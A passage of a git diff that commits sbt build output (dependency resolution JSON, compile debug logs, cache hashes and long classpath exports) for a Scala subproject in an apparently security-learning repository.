License","http://www.opensource.org/licenses/bsd-license.php"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.12.19","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[{"organization":"org.scala-sbt","name":"io_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-ivy_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-position_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"sbt","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"util-logging_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"scripted-plugin_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}},{"organization":"org.scala-sbt","name":"librarymanagement-core_2.12","artifact":"*","configurations":[],"crossVersion":{"type":"Disabled"}}],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.12.19/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/csrLogger/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/_global/csrLogger/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrProject/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/csrProject/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp new file mode 100644 index 00000000..77b55f12 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/input_dsp @@ -0,0 +1 @@ +-768128706 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp new file mode 100644 index 00000000..fa8310de --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.12/output_dsp @@ -0,0 +1 @@ +{"{\"organization\":\"org.scala-lang\",\"name\":\"scala-library\",\"revision\":\"2.12.19\",\"configurations\":\"provided\",\"isChanging\":false,\"isTransitive\":true,\"isForce\":false,\"explicitArtifacts\":[],\"inclusions\":[],\"exclusions\":[],\"extraAttributes\":{},\"crossVersion\":{\"type\":\"Disabled\"}}":{"value":{"$fields":["path","startLine"],"path":"(sbt.Classpaths.jvmBaseSettings) Defaults.scala","startLine":3407},"type":"LinePosition"}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivyConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivyConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivySbt/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/ivySbt/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/moduleSettings/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/moduleSettings/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/projectDescriptors/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/projectDescriptors/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/scalaCompilerBridgeScope/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/scalaCompilerBridgeScope/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out new file mode 100644 index 00000000..0bf44041 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/_global/update/_global/streams/out @@ -0,0 +1,3 @@ +[debug] not up to date. inChanged = true, force = false +[debug] Updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/"), "scala1-build")... +[debug] Done updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/"), "scala1-build") diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous new file mode 100644 index 00000000..faea7848 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/compileOutputs/previous @@ -0,0 +1 @@ +["sbt.Task[scala.collection.Seq[java.nio.file.Path]]",["/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/zinc/inc_compile_2.12.zip"]] \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data new file mode 100644 index 00000000..0637a088 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/_global/_global/discoveredMainClasses/data @@ -0,0 +1 @@ +[] \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/bspReporter/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/bspReporter/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compile/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compile/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/export new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out new file mode 100644 index 00000000..5db86870 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/compileIncremental/_global/streams/out @@ -0,0 +1,6 @@ +[debug] [zinc] IncrementalCompile ----------- +[debug] IncrementalCompile.incrementalCompile +[debug] previous = Stamps for: 0 products, 0 sources, 0 libraries +[debug] current source = Set() +[debug]> initialChanges = InitialChanges(Changes(added = Set(), removed = Set(), changed = Set(), unmodified = ...),Set(),Set(),API Changes: Set()) +[debug] Full compilation, no sources in previous analysis. diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out b/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out new file mode 100644 index 00000000..49995276 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/copyResources/_global/streams/out @@ -0,0 +1,2 @@ +[debug] Copy resource mappings: +[debug] diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/dependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-style-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/completion_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-xml_2.12-2.3.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ipcsocket-1.6.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-jawn-parser_2.12-1.3.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classpath_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jsch-0.2.17.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-position_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/lm-coursier-shaded_2.12-2.1.4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-scalajson_2.12-1.0.0-M4.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-interface-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-classfile_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-native-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-logging_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jansi-2.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/shaded-apache-httpasyncclient-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/core-macros_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/logic_2.12-1.10.1.jar diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export new file mode 100644 index 00000000..c9499290 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/exportedProducts/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/project/target/scala-2.12/sbt-1.0/classes diff --git a/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export b/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export new file mode 100644 index 00000000..840acb78 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/project/target/streams/compile/externalDependencyClasspath/_global/streams/export @@ -0,0 +1 @@ +/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-library.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-compiler.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-xml_2.12-2.2.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/lib/scala-reflect.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/io_2.12-1.10.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist-core-assembly-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/slf4j-api-1.7.36.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-2.14.7-sbt-9c3b6aca11c57e339441442bbf58e550cdfecb79.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/command_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-reader-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-collection-compat_2.12-2.11.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-control_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-api-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/compiler-bridge_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/main-settings_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-core_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbinary_2.12-0.5.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/error_prone_annotations-2.4.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-core_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/config-1.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-interface-1.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-persist_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ivy-2.3.0-sbt-396a783bba347016e7fe30dacc60d355be607fe2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/actions_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sbt-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-library-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/gigahorse-apache-http_2.12-0.7.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/checker-qual-3.4.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/caffeine-2.8.5.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-tracking_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/testing_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-core-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/test-agent-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/launcher-interface-1.4.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-apiinfo_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/log4j-slf4j-impl-2.17.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/tasks_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/file-tree-views-2.1.12.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/collections_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-scalajson_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/task-system_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-lm-integration_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/sjson-new-murmurhash_2.12-0.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/ssl-config-core_2.12-0.6.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/librarymanagement-ivy_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jna-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-compile-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-cache_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-parser-combinators_2.12-1.1.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zero-allocation-hashing-0.16.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-terminal-jansi-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/run_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/zinc-core_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/reactive-streams-1.0.3.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-reflect-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jna-platform-5.13.0.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/disruptor-3.4.2.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/template-resolver-0.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/jline-builtins-3.24.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/util-relation_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scala-compiler-2.12.19.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/scripted-plugin_2.12-1.10.1.jar:/Users/drunkbaby/.sbt/boot/scala-2.12.19/org.scala-sbt/sbt/1.10.1/protocol_2.12-1.10.1.j